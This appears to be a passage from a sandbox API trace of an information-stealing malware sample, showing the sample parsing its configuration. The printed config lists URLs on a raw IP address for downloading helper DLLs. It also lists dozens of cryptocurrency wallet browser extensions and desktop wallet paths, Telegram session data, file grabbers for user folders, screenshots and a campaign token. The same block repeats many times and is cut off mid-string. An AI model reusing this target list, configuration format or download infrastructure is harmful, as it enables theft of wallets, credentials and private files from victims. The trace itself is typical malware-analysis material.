Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0257.985] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0257.985] LocalAlloc (uFlags=0x40, uBytes=0x29bc) returned 0x6c12f8 [0257.985] StrCpyW (in: psz1=0x6b9720, psz2="libs" | out: psz1="libs") returned="libs" [0257.985] LocalFree (hMem=0x6c12f8) returned 0x0 [0257.986] StrStrW (lpFirst="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0257.986] lstrcmpiW (lpString1="libs", lpString2="libs") returned 0 [0257.986] StrStrW (lpFirst="nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension 